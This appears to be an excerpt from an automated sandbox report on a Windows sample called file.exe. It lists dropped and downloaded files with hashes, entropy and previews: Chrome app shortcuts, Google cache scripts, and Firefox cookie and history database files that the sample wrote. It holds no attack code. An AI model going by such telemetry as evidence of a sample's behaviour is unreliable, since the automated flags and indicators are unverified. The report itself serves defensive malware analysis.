Preview:	L..................F.@.. ...$+.,......0X.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 00:46:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002319608312999
Encrypted:	false
SSDEEP:	48:8K2dZTBBBDHaidAKZdA1weh/iZUkAQkqeh/y+2:8KIXBu9Qiy
MD5:	0BD634549A1CAFDBC9828A52921F561F
SHA1:	1A5A064C279FD75E926FFCC595430B140EEDBDA3
SHA-256:	B9F44CEC67D9FA9AB27D5B8C0CB7519106E7E2491E47F4F9337AABD1535AC75D
SHA-512:	E2BA02AC41AA6EEED272A299E69A8CA459FFA6A363C32368C2553729C8CC46D26FF08A9B5E3C37A3B66A84E32B2A12C587E4DFB7404F2BE330C811E7085BD3F3
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....$X.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0120115670119105
Encrypted:	false
SSDEEP:	48:8xb2dZTBBsHaidAKZdA14tseh7sFiZUkmgqeh7sZy+BX:8xbIXnnLy
MD5:	537A24710EBD33DD2F5F5BAF7670EC21
SHA1:	E6A5E2EEED3D05030A0B760B2C7BEC47247FAAB5
SHA-256:	5A0DB45A5EB234357D425ACC58805AC6C78EB82559D2A9E2109B3D4D3B7690BB
SHA-512:	F7E9EE34CA046D87F8A59086EA846C22B024048B04DADDD4C0CE85D9A4C1FB6611CB473E6B12E05E3BEDF2D48D0B81B0CCEE3B225578499AFFD4DD91B3AB8280
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 00:46:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.998984227692357
Encrypted:	false
SSDEEP:	48:8t2dZTBBBDHaidAKZdA1vehDiZUkwqehTy+R:8tIXB1By
MD5:	29D04AA3CCED5307C2C85D63F0714C60
SHA1:	3BD69F61FEB223C699D4317C46D96C85E26D17F1
SHA-256:	63993CC0E6C9C7B93FEA58980FC28B46F42D502891FBB6592E2AC1C1D3B41CEB
SHA-512:	5241742659A0A25EE952A69B4DC09D05ADF6E1D8E19AE80B969A82822380B8238F7DD1665AD6C10DEA7F73E635CC0A14154F31C3068949FCA7111AB3B211D335
Malicious:	false
Preview:	L..................F.@.. ...$+.,....A..X.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 00:46:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990558723811354
Encrypted:	false
SSDEEP:	48:8m2dZTBBBDHaidAKZdA1hehBiZUk1W1qehVy+C:8mIXBl91y
MD5:	03977FF72BB5BFB0FCDD7F7AD9FDBFB4
SHA1:	80F2877AB10E928A903E36B296EA5570C33D45FA
SHA-256:	C110764F6855408D229471F44D38D248DE187DF538A19F6556E7659E4DCC5095
SHA-512:	ACF164BCBA5AB08A76124B9969CF5D542B7A9CDF3A18859358FAA192B8D02950767485952E7A0D709D3694DF4F4CB291B4C7506590366233FE0E33F587BFF17D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....[)X.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 00:46:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9982988399736468
Encrypted:	false
SSDEEP:	48:882dZTBBBDHaidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:88IXB5T/TbxWOvTbLy7T
MD5:	2761ABBD3172231F3EEA45EEEC682B7B
SHA1:	9634D86D051A4C4495D5CDA2F8755CEEE39F2069
SHA-256:	74B2BF2A776F9177847E3328DB9E84F5169A082194CF5CC688DA1D546D9B3697
SHA-512:	A71605EEF23823F5063FBBE5CB86D6318C5FE830888C808315078978ABF865CCF6E0B8C35C5711D8D7BBD9F07D11CC68C63D566D49689EA9F7381CAE4E9992E0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....F..X.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178241
Entropy (8bit):	5.55470499065985
Encrypted:	false
SSDEEP:	3072:mqnrEqzhkki0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59Gw:mqnIqzhkki0fvsYPB+q4hXAmwWVW11ue
MD5:	B15D2D9ABA48198AE8AF3A587868846C
SHA1:	0CBBC1D0EA4F7E6671CD0EAF39A46F63A60990BC
SHA-256:	8F41B6C43F8C4320A9B9198A8024D05D9877F8CC423C7E33AC15D17036486EEC
SHA-512:	D5C68E7AFA443AA55801E2C8F136921428D55D302C8BD4F3EE7AC9E42CB96B30AF508763C208DF0D0DFBCFC4982587536D536AB5A07614C39D342FC43EAB724D
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2700)
Category:	downloaded
Size (bytes):	2705
Entropy (8bit):	5.879445071448197
Encrypted:	false
SSDEEP:	48:ygIlKlgZ01ixVaRyAet8ldvtw+9cCUIZYlHjO7yeUVDYFscDCuh5a1uSEqmQfffA:yFMlidaRls82+zoO3UqFsc2unQffffo
MD5:	4E4A43A150820A1F64F07146CE095942
SHA1:	0A946237A40F487E744953014A45F79A6E597D24
SHA-256:	3D9514CC3320527B53B599134AE5C29D7DD9552D6573BD9C3A29EBEF6518A1B1
SHA-512:	6C213E75B36EDF420815DDE3EE1B65B789CCDFCCACD7623B08026511E01D938D6EA41B8DB8B2A5980A36131FB8D98648733E328912DFAF062B74C319F38460BB
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["bold and beautiful spoilers october 28","dallas cowboys","reviews dragon age the veilguard","decades menu","northern lights aurora forecast","ssi ssdi va stimulus checks","monster hunter wilds ps5 open beta","nfl players eat uncrustables"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CggvbS8wMjg5NhINRm9vdGJhbGwgdGVhbTKKCmRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBOUNBTUFBQUFxQzUvekFBQUFlRkJNVkVYLy8vOEFJa1FBQUNONWY0MkxrcDBBRURvQUFDQUFBQzBBQUNvQUFEWUFGVDBBRXp3QUFDWHc4ZklBQURHc3NMalMxTmdBR2tCeGVJY0FIVUZVWG5HZW82enE2KzIvd3NqaDR1WE16dE9TbDZJNFJsMzI5L2lscXJJQUNqblkydDFtYm41S1Ztb21OMUlWSzBwYlpYWkJUV01lTVU2MnVjQnJqV3V5QUFBQytFbEVRVlJJaWFWVzZkYXFNQXdNeFphQ0xBVlJRQlpCUU43L0RiOFUxS3V5OVVKK2NRN05OR21TeVFBc20rT3NIRmd6ejlzSkVJWTdBVGpmNTkrWlpyY0xvS1MwM0FWZ2w2Vzl4ejhpWFVlaUhRQUJ5eklXN0FBd0tvREsyTzZmRU05eFBKSnNCdE

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134239
Entropy (8bit):	5.436688230825287
Encrypted:	false
SSDEEP:	1536:g7CkPDNT414TPinWZ12CAkxmSlQWE8waaeeDF47j9RzmixqxUDgRiKvD+RVH2Unp:2PG1CAV/WEhFdF47j9RTqxc6+OUaKszQ
MD5:	B15492BB547F62B8AD0B54D6578BD7B5
SHA1:	F782558E660932F0EAA376712F421563163BDE64
SHA-256:	5A274A297F2AA258B846FEF6398CBA08FFC7E329B77F480FBBE577AE6D6CFD35
SHA-512:	E4D1564D386BB9BADDBE30D05AD8181ED4350E61AF5D42DADA41C02C9E2D167AC6B41BF6E48C0A325F08ACA964BC0182BC71C5CE7600284FC759C227506065B4
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
